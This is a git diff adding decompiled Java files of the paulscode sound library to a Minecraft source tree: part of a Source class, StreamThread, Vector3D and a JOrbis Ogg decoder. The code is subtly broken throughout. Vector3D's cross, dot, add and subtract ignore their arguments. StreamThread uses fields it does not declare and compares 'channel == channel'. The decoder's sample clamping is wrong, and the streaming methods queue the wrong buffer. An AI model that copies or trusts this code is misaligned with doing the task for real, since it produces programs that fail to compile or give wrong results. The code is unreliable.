+  public void fadeOut(FilenameURL filenameURL, long milis)
+  {
+    if (!toStream)
+    {
+      errorMessage("Method 'fadeOut' may only be used for streaming and MIDI sources.");
+      
+      return;
+    }
+    if (milis < 0L)
+    {
+      errorMessage("Miliseconds may not be negative in method 'fadeOut'.");
+      
+      return;
+    }
+    
+    fadeOutMilis = milis;
+    fadeInMilis = 0L;
+    fadeOutGain = 1.0F;
+    lastFadeCheck = System.currentTimeMillis();
+    
+    synchronized (soundSequenceLock)
+    {
+      if (soundSequenceQueue != null) {
+        soundSequenceQueue.clear();
+      }
+      if (filenameURL != null)
+      {
+        if (soundSequenceQueue == null)
+          soundSequenceQueue = new LinkedList();
+        soundSequenceQueue.add(filenameURL);
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void fadeOutIn(FilenameURL filenameURL, long milisOut, long milisIn)
+  {
+    if (!toStream)
+    {
+      errorMessage("Method 'fadeOutIn' may only be used for streaming and MIDI sources.");
+      
+      return;
+    }
+    if (filenameURL == null)
+    {
+      errorMessage("Filename/URL not specified in method 'fadeOutIn'.");
+      return;
+    }
+    if ((milisOut < 0L) || (milisIn < 0L))
+    {
+      errorMessage("Miliseconds may not be negative in method 'fadeOutIn'.");
+      
+      return;
+    }
+    
+    fadeOutMilis = milisOut;
+    fadeInMilis = milisIn;
+    
+    fadeOutGain = 1.0F;
+    lastFadeCheck = System.currentTimeMillis();
+    
+    synchronized (soundSequenceLock)
+    {
+      if (soundSequenceQueue == null)
+        soundSequenceQueue = new LinkedList();
+      soundSequenceQueue.clear();
+      soundSequenceQueue.add(filenameURL);
+    }
+  }
+  
+
+
+
+
+
+
+
+  public boolean checkFadeOut()
+  {
+    if (!toStream) {
+      return false;
+    }
+    if ((fadeOutGain == -1.0F) && (fadeInGain == 1.0F)) {
+      return false;
+    }
+    long currentTime = System.currentTimeMillis();
+    long milisPast = currentTime - lastFadeCheck;
+    lastFadeCheck = currentTime;
+    
+    if (fadeOutGain >= 0.0F)
+    {
+      if (fadeOutMilis == 0L)
+      {
+        fadeOutGain = -1.0F;
+        fadeInGain = 0.0F;
+        if (!incrementSoundSequence())
+        {
+          stop();
+        }
+        positionChanged();
+        preLoad = true;
+        return false;
+      }
+      
+
+      float fadeOutReduction = (float)milisPast / (float)fadeOutMilis;
+      fadeOutGain -= fadeOutReduction;
+      if (fadeOutGain <= 0.0F)
+      {
+        fadeOutGain = -1.0F;
+        fadeInGain = 0.0F;
+        if (!incrementSoundSequence())
+          stop();
+        positionChanged();
+        preLoad = true;
+        return false;
+      }
+      
+      positionChanged();
+      return true;
+    }
+    
+    if (fadeInGain < 1.0F)
+    {
+      fadeOutGain = -1.0F;
+      if (fadeInMilis == 0L)
+      {
+        fadeOutGain = -1.0F;
+        fadeInGain = 1.0F;
+      }
+      else
+      {
+        float fadeInIncrease = (float)milisPast / (float)fadeInMilis;
+        fadeInGain += fadeInIncrease;
+        if (fadeInGain >= 1.0F)
+        {
+          fadeOutGain = -1.0F;
+          fadeInGain = 1.0F;
+        }
+      }
+      positionChanged();
+      return true;
+    }
+    return false;
+  }
+  
+
+
+
+
+
+
+
+  public boolean incrementSoundSequence()
+  {
+    if (!toStream)
+    {
+      errorMessage("Method 'incrementSoundSequence' may only be used for streaming and MIDI sources.");
+      
+      return false;
+    }
+    
+    synchronized (soundSequenceLock)
+    {
+      if ((soundSequenceQueue != null) && (soundSequenceQueue.size() > 0))
+      {
+        filenameURL = ((FilenameURL)soundSequenceQueue.remove(0));
+        if (codec != null)
+          codec.cleanup();
+        codec = SoundSystemConfig.getCodec(filenameURL.getFilename());
+        return true;
+      }
+    }
+    return false;
+  }
+  
+
+
+
+
+
+
+
+  public boolean readBuffersFromNextSoundInSequence()
+  {
+    if (!toStream)
+    {
+      errorMessage("Method 'readBuffersFromNextSoundInSequence' may only be used for streaming sources.");
+      
+      return false;
+    }
+    
+    synchronized (soundSequenceLock)
+    {
+      if ((soundSequenceQueue != null) && (soundSequenceQueue.size() > 0))
+      {
+        if (nextCodec != null)
+          nextCodec.cleanup();
+        nextCodec = SoundSystemConfig.getCodec(((FilenameURL)soundSequenceQueue.get(0)).getFilename());
+        
+        nextCodec.initialize(((FilenameURL)soundSequenceQueue.get(0)).getURL());
+        
+        SoundBuffer buffer = null;
+        for (int i = 0; 
+            
+            (i < SoundSystemConfig.getNumberStreamingBuffers()) && (!nextCodec.endOfStream()); 
+            i++)
+        {
+          buffer = nextCodec.read();
+          if (buffer != null)
+          {
+            if (nextBuffers == null)
+              nextBuffers = new LinkedList();
+            nextBuffers.add(buffer);
+          }
+        }
+        return true;
+      }
+    }
+    return false;
+  }
+  
+
+
+
+
+
+  public int getSoundSequenceQueueSize()
+  {
+    if (soundSequenceQueue == null)
+      return 0;
+    return soundSequenceQueue.size();
+  }
+  
+
+
+
+
+  public void setTemporary(boolean tmp)
+  {
+    temporary = tmp;
+  }
+  
+
+
+
+
+
+  public void listenerMoved() {}
+  
+
+
+
+
+
+  public void setPosition(float x, float y, float z)
+  {
+    position.x = x;
+    position.y = y;
+    position.z = z;
+  }
+  
+
+
+
+
+
+  public void positionChanged() {}
+  
+
+
+
+
+
+  public void setPriority(boolean pri)
+  {
+    priority = pri;
+  }
+  
+
+
+
+
+  public void setLooping(boolean lp)
+  {
+    toLoop = lp;
+  }
+  
+
+
+
+
+  public void setAttenuation(int model)
+  {
+    attModel = model;
+  }
+  
+
+
+
+
+
+  public void setDistOrRoll(float dr)
+  {
+    distOrRoll = dr;
+  }
+  
+
+
+
+
+
+
+  public void setVelocity(float x, float y, float z)
+  {
+    velocity.x = x;
+    velocity.y = y;
+    velocity.z = z;
+  }
+  
+
+
+
+
+  public float getDistanceFromListener()
+  {
+    return distanceFromListener;
+  }
+  
+
+
+
+
+  public void setPitch(float value)
+  {
+    float newPitch = value;
+    if (newPitch < 0.5F) {
+      newPitch = 0.5F;
+    } else if (newPitch > 2.0F)
+      newPitch = 2.0F;
+    pitch = newPitch;
+  }
+  
+
+
+
+
+  public float getPitch()
+  {
+    return pitch;
+  }
+  
+
+
+
+
+
+  public boolean reverseByteOrder()
+  {
+    return SoundSystemConfig.reverseByteOrder(libraryType);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void changeSource(boolean priority, boolean toStream, boolean toLoop, String sourcename, FilenameURL filenameURL, SoundBuffer soundBuffer, float x, float y, float z, int attModel, float distOrRoll, boolean temporary)
+  {
+    this.priority = priority;
+    this.toStream = toStream;
+    this.toLoop = toLoop;
+    this.sourcename = sourcename;
+    this.filenameURL = filenameURL;
+    this.soundBuffer = soundBuffer;
+    position.x = x;
+    position.y = y;
+    position.z = z;
+    this.attModel = attModel;
+    this.distOrRoll = distOrRoll;
+    this.temporary = temporary;
+  }
+  
+
+
+
+
+
+
+  public int feedRawAudioData(Channel c, byte[] buffer)
+  {
+    if (!active(false, false))
+    {
+      toPlay = true;
+      return -1;
+    }
+    if (channel != c)
+    {
+      channel = c;
+      channel.close();
+      channel.setAudioFormat(rawDataFormat);
+      positionChanged();
+    }
+    
+
+    stopped(true, false);
+    paused(true, false);
+    
+    return channel.feedRawAudioData(buffer);
+  }
+  
+
+
+
+
+  public void play(Channel c)
+  {
+    if (!active(false, false))
+    {
+      if (toLoop)
+        toPlay = true;
+      return;
+    }
+    if (channel != c)
+    {
+      channel = c;
+      channel.close();
+    }
+    
+    stopped(true, false);
+    paused(true, false);
+  }
+  
+
+
+
+
+
+  public boolean stream()
+  {
+    if (channel == null) {
+      return false;
+    }
+    if (preLoad)
+    {
+      if (rawDataStream) {
+        preLoad = false;
+      } else {
+        return preLoad();
+      }
+    }
+    if (rawDataStream)
+    {
+      if ((stopped()) || (paused()))
+        return true;
+      if (channel.buffersProcessed() > 0)
+        channel.processBuffer();
+      return true;
+    }
+    
+
+    if (codec == null)
+      return false;
+    if (stopped())
+      return false;
+    if (paused()) {
+      return true;
+    }
+    int processed = channel.buffersProcessed();
+    
+    SoundBuffer buffer = null;
+    for (int i = 0; i < processed; i++)
+    {
+      buffer = codec.read();
+      if (buffer != null)
+      {
+        if (audioData != null)
+          channel.queueBuffer(audioData);
+        buffer.cleanup();
+        buffer = null;
+        return true;
+      }
+      if (codec.endOfStream())
+      {
+        synchronized (soundSequenceLock)
+        {
+          if (SoundSystemConfig.getStreamQueueFormatsMatch())
+          {
+            if ((soundSequenceQueue != null) && (soundSequenceQueue.size() > 0))
+            {
+
+              if (codec != null)
+                codec.cleanup();
+              filenameURL = ((FilenameURL)soundSequenceQueue.remove(0));
+              codec = SoundSystemConfig.getCodec(filenameURL.getFilename());
+              
+              codec.initialize(filenameURL.getURL());
+              buffer = codec.read();
+              if (buffer != null)
+              {
+                if (audioData != null)
+                  channel.queueBuffer(audioData);
+                buffer.cleanup();
+                buffer = null;
+                return true;
+              }
+            }
+            else if (toLoop)
+            {
+              codec.initialize(filenameURL.getURL());
+              buffer = codec.read();
+              if (buffer != null)
+              {
+                if (audioData != null)
+                  channel.queueBuffer(audioData);
+                buffer.cleanup();
+                buffer = null;
+                return true;
+              }
+            }
+          }
+        }
+      }
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    return false;
+  }
+  
+
+
+
+
+  public boolean preLoad()
+  {
+    if (channel == null) {
+      return false;
+    }
+    if (codec == null) {
+      return false;
+    }
+    SoundBuffer buffer = null;
+    
+    boolean noNextBuffers = false;
+    synchronized (soundSequenceLock)
+    {
+      if ((nextBuffers == null) || (nextBuffers.isEmpty())) {
+        noNextBuffers = true;
+      }
+    }
+    if ((nextCodec != null) && (!noNextBuffers))
+    {
+      codec = nextCodec;
+      nextCodec = null;
+      synchronized (soundSequenceLock)
+      {
+        while (!nextBuffers.isEmpty())
+        {
+          buffer = (SoundBuffer)nextBuffers.remove(0);
+          if (buffer != null)
+          {
+            if (audioData != null)
+              channel.queueBuffer(audioData);
+            buffer.cleanup();
+            buffer = null;
+          }
+        }
+      }
+    }
+    else
+    {
+      nextCodec = null;
+      URL url = filenameURL.getURL();
+      
+      codec.initialize(url);
+      for (int i = 0; i < SoundSystemConfig.getNumberStreamingBuffers(); 
+          i++)
+      {
+        buffer = codec.read();
+        if (buffer != null)
+        {
+          if (audioData != null)
+            channel.queueBuffer(audioData);
+          buffer.cleanup();
+          buffer = null;
+        }
+      }
+    }
+    
+    return true;
+  }
+  
+
+
+
+  public void pause()
+  {
+    toPlay = false;
+    paused(true, true);
+    if (channel != null) {
+      channel.pause();
+    } else {
+      errorMessage("Channel null in method 'pause'");
+    }
+  }
+  
+
+
+  public void stop()
+  {
+    toPlay = false;
+    stopped(true, true);
+    paused(true, false);
+    if (channel != null) {
+      channel.stop();
+    } else {
+      errorMessage("Channel null in method 'stop'");
+    }
+  }
+  
+
+
+  public void rewind()
+  {
+    if (paused(false, false))
+    {
+      stop();
+    }
+    if (channel != null)
+    {
+      boolean rePlay = playing();
+      channel.rewind();
+      if ((toStream) && (rePlay))
+      {
+        stop();
+        play(channel);
+      }
+    }
+    else {
+      errorMessage("Channel null in method 'rewind'");
+    }
+  }
+  
+
+
+  public void flush()
+  {
+    if (channel != null) {
+      channel.flush();
+    } else {
+      errorMessage("Channel null in method 'flush'");
+    }
+  }
+  
+
+
+
+  public void cull()
+  {
+    if (!active(false, false))
+      return;
+    if ((playing()) && (toLoop))
+      toPlay = true;
+    if (rawDataStream)
+      toPlay = true;
+    active(true, false);
+    if (channel != null)
+      channel.close();
+    channel = null;
+  }
+  
+
+
+
+  public void activate()
+  {
+    active(true, true);
+  }
+  
+
+
+
+
+  public boolean active()
+  {
+    return active(false, false);
+  }
+  
+
+
+
+
+  public boolean playing()
+  {
+    if ((channel == null) || (channel.attachedSource != this))
+      return false;
+    if ((paused()) || (stopped())) {
+      return false;
+    }
+    return channel.playing();
+  }
+  
+
+
+
+
+  public boolean stopped()
+  {
+    return stopped(false, false);
+  }
+  
+
+
+
+
+  public boolean paused()
+  {
+    return paused(false, false);
+  }
+  
+
+
+
+
+  public float millisecondsPlayed()
+  {
+    if (channel == null) {
+      return -1.0F;
+    }
+    return channel.millisecondsPlayed();
+  }
+  
+
+
+
+
+  private synchronized boolean active(boolean action, boolean value)
+  {
+    if (action == true)
+      active = value;
+    return active;
+  }
+  
+
+
+
+
+  private synchronized boolean stopped(boolean action, boolean value)
+  {
+    if (action == true)
+      stopped = value;
+    return stopped;
+  }
+  
+
+
+
+
+  private synchronized boolean paused(boolean action, boolean value)
+  {
+    if (action == true)
+      paused = value;
+    return paused;
+  }
+  
+
+
+
+
+  public String getClassName()
+  {
+    String libTitle = SoundSystemConfig.getLibraryTitle(libraryType);
+    
+    if (libTitle.equals("No Sound")) {
+      return "Source";
+    }
+    return "Source" + libTitle;
+  }
+  
+
+
+
+  protected void message(String message)
+  {
+    logger.message(message, 0);
+  }
+  
+
+
+
+
+  protected void importantMessage(String message)
+  {
+    logger.importantMessage(message, 0);
+  }
+  
+
+
+
+
+
+
+  protected boolean errorCheck(boolean error, String message)
+  {
+    return logger.errorCheck(error, getClassName(), message, 0);
+  }
+  
+
+
+
+
+  protected void errorMessage(String message)
+  {
+    logger.errorMessage(getClassName(), message, 0);
+  }
+  
+
+
+
+
+  protected void printStackTrace(Exception e)
+  {
+    logger.printStackTrace(e, 1);
+  }
+}
diff --git a/src/minecraft/paulscode/sound/StreamThread.java b/src/minecraft/paulscode/sound/StreamThread.java
new file mode 100644
index 0000000..990c39f
--- /dev/null
+++ b/src/minecraft/paulscode/sound/StreamThread.java
@@ -0,0 +1,297 @@
+package paulscode.sound;
+
+import java.util.LinkedList;
+import java.util.List;
+import java.util.ListIterator;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class StreamThread
+  extends SimpleThread
+{
+  private SoundSystemLogger logger;
+  private List<Source> streamingSources;
+  private final Object listLock = new Object();
+  
+
+
+
+
+
+  public StreamThread()
+  {
+    logger = SoundSystemConfig.getLogger();
+    
+    streamingSources = new LinkedList();
+  }
+  
+
+
+
+
+
+
+  protected void cleanup()
+  {
+    kill();
+    super.cleanup();
+  }
+  
+
+
+
+
+
+
+
+
+
+  public void run()
+  {
+    snooze(3600000L);
+    
+    while (!dying())
+    {
+      while ((!dying()) && (!streamingSources.isEmpty()))
+      {
+
+        synchronized (listLock)
+        {
+          ListIterator<Source> iter = streamingSources.listIterator();
+          while ((!dying()) && (iter.hasNext()))
+          {
+            Source src = (Source)iter.next();
+            if (src == null)
+            {
+              iter.remove();
+            }
+            else if (src.stopped())
+            {
+              if (!rawDataStream) {
+                iter.remove();
+              }
+            } else if (!src.active())
+            {
+              if ((toLoop) || (rawDataStream))
+                toPlay = true;
+              iter.remove();
+            }
+            else if (!src.paused())
+            {
+              src.checkFadeOut();
+              if ((!src.stream()) && (!rawDataStream) && (
+              
+                (channel == null) || (!channel.processBuffer())))
+              {
+
+                if (nextCodec == null)
+                {
+                  src.readBuffersFromNextSoundInSequence();
+                }
+                
+
+
+
+
+
+
+                if (toLoop)
+                {
+
+                  if (!src.playing())
+                  {
+
+                    SoundSystemConfig.notifyEOS(sourcename, src.getSoundSequenceQueueSize());
+                    
+
+
+
+
+                    if (src.checkFadeOut())
+                    {
+
+
+
+                      preLoad = true;
+
+
+                    }
+                    else
+                    {
+
+
+                      src.incrementSoundSequence();
+                      preLoad = true;
+                    }
+                    
+                  }
+                  
+
+                }
+                else if (!src.playing())
+                {
+
+                  SoundSystemConfig.notifyEOS(sourcename, src.getSoundSequenceQueueSize());
+                  
+
+
+
+
+                  if (!src.checkFadeOut())
+                  {
+
+
+
+                    if (src.incrementSoundSequence())
+                    {
+                      preLoad = true;
+                    } else {
+                      iter.remove();
+                    }
+                  }
+                }
+              }
+            }
+          }
+        }
+        
+        if ((!dying()) && (!streamingSources.isEmpty()))
+          snooze(20L);
+      }
+      if ((!dying()) && (streamingSources.isEmpty())) {
+        snooze(3600000L);
+      }
+    }
+    cleanup();
+  }
+  
+
+
+
+
+
+
+
+  public void watch(Source source)
+  {
+    if (source == null) {
+      return;
+    }
+    
+    if (streamingSources.contains(source)) {
+      return;
+    }
+    
+
+
+
+    synchronized (listLock)
+    {
+
+
+
+      ListIterator<Source> iter = streamingSources.listIterator();
+      while (iter.hasNext())
+      {
+        Source src = (Source)iter.next();
+        if (src == null)
+        {
+          iter.remove();
+        }
+        else if (channel == channel)
+        {
+          src.stop();
+          iter.remove();
+        }
+      }
+      
+
+      streamingSources.add(source);
+    }
+  }
+  
+
+
+
+
+  private void message(String message)
+  {
+    logger.message(message, 0);
+  }
+  
+
+
+
+
+  private void importantMessage(String message)
+  {
+    logger.importantMessage(message, 0);
+  }
+  
+
+
+
+
+
+
+  private boolean errorCheck(boolean error, String message)
+  {
+    return logger.errorCheck(error, "StreamThread", message, 0);
+  }
+  
+
+
+
+
+  private void errorMessage(String message)
+  {
+    logger.errorMessage("StreamThread", message, 0);
+  }
+}
diff --git a/src/minecraft/paulscode/sound/Vector3D.java b/src/minecraft/paulscode/sound/Vector3D.java
new file mode 100644
index 0000000..82df155
--- /dev/null
+++ b/src/minecraft/paulscode/sound/Vector3D.java
@@ -0,0 +1,210 @@
+package paulscode.sound;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class Vector3D
+{
+  public float x;
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public float y;
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public float z;
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public Vector3D()
+  {
+    x = 0.0F;
+    y = 0.0F;
+    z = 0.0F;
+  }
+  
+
+
+
+
+
+
+  public Vector3D(float nx, float ny, float nz)
+  {
+    x = nx;
+    y = ny;
+    z = nz;
+  }
+  
+
+
+
+
+
+  public Vector3D clone()
+  {
+    return new Vector3D(x, y, z);
+  }
+  
+
+
+
+
+
+
+  public Vector3D cross(Vector3D A, Vector3D B)
+  {
+    return new Vector3D(y * z - y * z, z * x - z * x, x * y - x * y);
+  }
+  
+
+
+
+
+
+
+
+
+  public Vector3D cross(Vector3D B)
+  {
+    return new Vector3D(y * z - y * z, z * x - z * x, x * y - x * y);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public float dot(Vector3D A, Vector3D B)
+  {
+    return x * x + y * y + z * z;
+  }
+  
+
+
+
+
+
+  public float dot(Vector3D B)
+  {
+    return x * x + y * y + z * z;
+  }
+  
+
+
+
+
+
+
+  public Vector3D add(Vector3D A, Vector3D B)
+  {
+    return new Vector3D(x + x, y + y, z + z);
+  }
+  
+
+
+
+
+
+  public Vector3D add(Vector3D B)
+  {
+    return new Vector3D(x + x, y + y, z + z);
+  }
+  
+
+
+
+
+
+
+  public Vector3D subtract(Vector3D A, Vector3D B)
+  {
+    return new Vector3D(x - x, y - y, z - z);
+  }
+  
+
+
+
+
+
+  public Vector3D subtract(Vector3D B)
+  {
+    return new Vector3D(x - x, y - y, z - z);
+  }
+  
+
+
+
+
+  public float length()
+  {
+    return (float)Math.sqrt(x * x + y * y + z * z);
+  }
+  
+
+
+
+  public void normalize()
+  {
+    double t = Math.sqrt(x * x + y * y + z * z);
+    x = ((float)(x / t));
+    y = ((float)(y / t));
+    z = ((float)(z / t));
+  }
+  
+
+
+
+
+
+  public String toString()
+  {
+    return "Vector3D (" + x + ", " + y + ", " + z + ")";
+  }
+}
diff --git a/src/minecraft/paulscode/sound/codecs/CodecJOrbis.java b/src/minecraft/paulscode/sound/codecs/CodecJOrbis.java
new file mode 100644
index 0000000..17e10ce
--- /dev/null
+++ b/src/minecraft/paulscode/sound/codecs/CodecJOrbis.java
@@ -0,0 +1,814 @@
+package paulscode.sound.codecs;
+
+import com.jcraft.jogg.Packet;
+import com.jcraft.jogg.Page;
+import com.jcraft.jogg.StreamState;
+import com.jcraft.jogg.SyncState;
+import com.jcraft.jorbis.Block;
+import com.jcraft.jorbis.Comment;
+import com.jcraft.jorbis.DspState;
+import com.jcraft.jorbis.Info;
+import java.io.IOException;
+import java.io.InputStream;
+import java.net.URL;
+import java.net.URLConnection;
+import java.net.UnknownServiceException;
+import javax.sound.sampled.AudioFormat;
+import paulscode.sound.ICodec;
+import paulscode.sound.SoundBuffer;
+import paulscode.sound.SoundSystemConfig;
+import paulscode.sound.SoundSystemLogger;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class CodecJOrbis
+  implements ICodec
+{
+  private static final boolean GET = false;
+  private static final boolean SET = true;
+  private static final boolean XXX = false;
+  private URL url;
+  private URLConnection urlConnection = null;
+  
+
+
+
+  private InputStream inputStream;
+  
+
+
+
+  private AudioFormat audioFormat;
+  
+
+
+
+  private boolean endOfStream = false;
+  
+
+
+
+  private boolean initialized = false;
+  
+
+
+
+  private byte[] buffer = null;
+  
+
+
+
+  private int bufferSize;
+  
+
+
+
+  private int count = 0;
+  
+
+
+
+  private int index = 0;
+  
+
+
+
+  private int convertedBufferSize;
+  
+
+
+
+  private byte[] convertedBuffer = null;
+  
+
+
+
+  private float[][][] pcmInfo;
+  
+
+
+
+  private int[] pcmIndex;
+  
+
+
+
+  private Packet joggPacket = new Packet();
+  
+
+
+  private Page joggPage = new Page();
+  
+
+
+  private StreamState joggStreamState = new StreamState();
+  
+
+
+  private SyncState joggSyncState = new SyncState();
+  
+
+
+  private DspState jorbisDspState = new DspState();
+  
+
+
+  private Block jorbisBlock = new Block(jorbisDspState);
+  
+
+
+  private Comment jorbisComment = new Comment();
+  
+
+
+  private Info jorbisInfo = new Info();
+  
+
+
+
+  private SoundSystemLogger logger;
+  
+
+
+
+  public CodecJOrbis()
+  {
+    logger = SoundSystemConfig.getLogger();
+  }
+  
+
+
+
+
+
+
+  public void reverseByteOrder(boolean b) {}
+  
+
+
+
+
+
+  public boolean initialize(URL url)
+  {
+    initialized(true, false);
+    
+    if (joggStreamState != null)
+      joggStreamState.clear();
+    if (jorbisBlock != null)
+      jorbisBlock.clear();
+    if (jorbisDspState != null)
+      jorbisDspState.clear();
+    if (jorbisInfo != null)
+      jorbisInfo.clear();
+    if (joggSyncState != null) {
+      joggSyncState.clear();
+    }
+    if (inputStream != null)
+    {
+      try
+      {
+        inputStream.close();
+      }
+      catch (IOException ioe) {}
+    }
+    
+
+    this.url = url;
+    
+    bufferSize = 8192;
+    
+    buffer = null;
+    count = 0;
+    index = 0;
+    
+    joggStreamState = new StreamState();
+    jorbisBlock = new Block(jorbisDspState);
+    jorbisDspState = new DspState();
+    jorbisInfo = new Info();
+    joggSyncState = new SyncState();
+    
+    try
+    {
+      urlConnection = url.openConnection();
+    }
+    catch (UnknownServiceException use)
+    {
+      errorMessage("Unable to create a UrlConnection in method 'initialize'.");
+      
+      printStackTrace(use);
+      cleanup();
+      return false;
+    }
+    catch (IOException ioe)
+    {
+      errorMessage("Unable to create a UrlConnection in method 'initialize'.");
+      
+      printStackTrace(ioe);
+      cleanup();
+      return false;
+    }
+    if (urlConnection != null)
+    {
+      try
+      {
+        inputStream = urlConnection.getInputStream();
+      }
+      catch (IOException ioe)
+      {
+        errorMessage("Unable to acquire inputstream in method 'initialize'.");
+        
+        printStackTrace(ioe);
+        cleanup();
+        return false;
+      }
+    }
+    
+    endOfStream(true, false);
+    
+    joggSyncState.init();
+    joggSyncState.buffer(bufferSize);
+    buffer = joggSyncState.data;
+    
+    try
+    {
+      if (!readHeader())
+      {
+        errorMessage("Error reading the header");
+        return false;
+      }
+    }
+    catch (IOException ioe)
+    {
+      errorMessage("Error reading the header");
+      return false;
+    }
+    
+    convertedBufferSize = (bufferSize * 2);
+    
+    jorbisDspState.synthesis_init(jorbisInfo);
+    jorbisBlock.init(jorbisDspState);
+    
+    int channels = jorbisInfo.channels;
+    int rate = jorbisInfo.rate;
+    
+    audioFormat = new AudioFormat(rate, 16, channels, true, false);
+    
+    pcmInfo = new float[1][][];
+    pcmIndex = new int[jorbisInfo.channels];
+    
+    initialized(true, true);
+    
+    return true;
+  }
+  
+
+
+
+
+  public boolean initialized()
+  {
+    return initialized(false, false);
+  }
+  
+
+
+
+
+
+
+  public SoundBuffer read()
+  {
+    byte[] returnBuffer = null;
+    
+    while ((!endOfStream(false, false)) && ((returnBuffer == null) || (returnBuffer.length < SoundSystemConfig.getStreamingBufferSize())))
+    {
+
+      if (returnBuffer == null) {
+        returnBuffer = readBytes();
+      } else {
+        returnBuffer = appendByteArrays(returnBuffer, readBytes());
+      }
+    }
+    if (returnBuffer == null) {
+      return null;
+    }
+    return new SoundBuffer(returnBuffer, audioFormat);
+  }
+  
+
+
+
+
+
+
+
+  public SoundBuffer readAll()
+  {
+    byte[] returnBuffer = null;
+    
+    while (!endOfStream(false, false))
+    {
+      if (returnBuffer == null) {
+        returnBuffer = readBytes();
+      } else {
+        returnBuffer = appendByteArrays(returnBuffer, readBytes());
+      }
+    }
+    if (returnBuffer == null) {
+      return null;
+    }
+    return new SoundBuffer(returnBuffer, audioFormat);
+  }
+  
+
+
+
+
+  public boolean endOfStream()
+  {
+    return endOfStream(false, false);
+  }
+  
+
+
+
+  public void cleanup()
+  {
+    joggStreamState.clear();
+    jorbisBlock.clear();
+    jorbisDspState.clear();
+    jorbisInfo.clear();
+    joggSyncState.clear();
+    
+    if (inputStream != null)
+    {
+      try
+      {
+        inputStream.close();
+      }
+      catch (IOException ioe) {}
+    }
+    
+
+    joggStreamState = null;
+    jorbisBlock = null;
+    jorbisDspState = null;
+    jorbisInfo = null;
+    joggSyncState = null;
+    inputStream = null;
+  }
+  
+
+
+
+
+
+  public AudioFormat getAudioFormat()
+  {
+    return audioFormat;
+  }
+  
+
+
+
+
+
+  private boolean readHeader()
+    throws IOException
+  {
+    index = joggSyncState.buffer(bufferSize);
+    
+    int bytes = inputStream.read(joggSyncState.data, index, bufferSize);
+    if (bytes < 0) {
+      bytes = 0;
+    }
+    joggSyncState.wrote(bytes);
+    
+    if (joggSyncState.pageout(joggPage) != 1)
+    {
+
+      if (bytes < bufferSize) {
+        return true;
+      }
+      errorMessage("Ogg header not recognized in method 'readHeader'.");
+      return false;
+    }
+    
+
+    joggStreamState.init(joggPage.serialno());
+    
+    jorbisInfo.init();
+    jorbisComment.init();
+    if (joggStreamState.pagein(joggPage) < 0)
+    {
+      errorMessage("Problem with first Ogg header page in method 'readHeader'.");
+      
+      return false;
+    }
+    
+    if (joggStreamState.packetout(joggPacket) != 1)
+    {
+      errorMessage("Problem with first Ogg header packet in method 'readHeader'.");
+      
+      return false;
+    }
+    
+    if (jorbisInfo.synthesis_headerin(jorbisComment, joggPacket) < 0)
+    {
+      errorMessage("File does not contain Vorbis header in method 'readHeader'.");
+      
+      return false;
+    }
+    
+    int i = 0;
+    while (i < 2)
+    {
+      while (i < 2)
+      {
+        int result = joggSyncState.pageout(joggPage);
+        if (result == 0)
+          break;
+        if (result == 1)
+        {
+          joggStreamState.pagein(joggPage);
+          while (i < 2)
+          {
+            result = joggStreamState.packetout(joggPacket);
+            if (result == 0) {
+              break;
+            }
+            if (result == -1)
+            {
+              errorMessage("Secondary Ogg header corrupt in method 'readHeader'.");
+              
+              return false;
+            }
+            
+            jorbisInfo.synthesis_headerin(jorbisComment, joggPacket);
+            
+            i++;
+          }
+        }
+      }
+      index = joggSyncState.buffer(bufferSize);
+      bytes = inputStream.read(joggSyncState.data, index, bufferSize);
+      if (bytes < 0)
+        bytes = 0;
+      if ((bytes == 0) && (i < 2))
+      {
+        errorMessage("End of file reached before finished readingOgg header in method 'readHeader'");
+        
+        return false;
+      }
+      
+      joggSyncState.wrote(bytes);
+    }
+    
+    index = joggSyncState.buffer(bufferSize);
+    buffer = joggSyncState.data;
+    
+    return true;
+  }
+  
+
+
+
+
+  private byte[] readBytes()
+  {
+    if (!initialized(false, false)) {
+      return null;
+    }
+    if (endOfStream(false, false)) {
+      return null;
+    }
+    if (convertedBuffer == null)
+      convertedBuffer = new byte[convertedBufferSize];
+    byte[] returnBuffer = null;
+    
+
+
+
+    switch (joggSyncState.pageout(joggPage))
+    {
+    case -1: 
+    case 0: 
+      break;
+    
+    default: 
+      joggStreamState.pagein(joggPage);
+      if (joggPage.granulepos() == 0L)
+      {
+        endOfStream(true, true);
+        return null;
+      }
+      
+      for (;;)
+      {
+        switch (joggStreamState.packetout(joggPacket))
+        {
+        case 0: 
+          break;
+        case -1: 
+          break;
+        
+        default: 
+          if (jorbisBlock.synthesis(joggPacket) == 0) {
+            jorbisDspState.synthesis_blockin(jorbisBlock);
+          }
+          int samples;
+          while ((samples = jorbisDspState.synthesis_pcmout(pcmInfo, pcmIndex)) > 0)
+          {
+            float[][] pcmf = pcmInfo[0];
+            int bout = samples < convertedBufferSize ? samples : convertedBufferSize;
+            
+            for (int i = 0; i < jorbisInfo.channels; i++)
+            {
+              int ptr = i * 2;
+              int mono = pcmIndex[i];
+              for (int j = 0; j < bout; j++)
+              {
+                int val = (int)(pcmf[i][(mono + j)] * 32767.0D);
+                
+                if (val > 32767)
+                  val = 32767;
+                if (val < 32768)
+                  val = 32768;
+                if (val < 0)
+                  val |= 0x8000;
+                convertedBuffer[ptr] = ((byte)val);
+                convertedBuffer[(ptr + 1)] = ((byte)(val >>> 8));
+                
+                ptr += 2 * jorbisInfo.channels;
+              }
+            }
+            jorbisDspState.synthesis_read(bout);
+            
+            returnBuffer = appendByteArrays(returnBuffer, convertedBuffer, 2 * jorbisInfo.channels * bout);
+          }
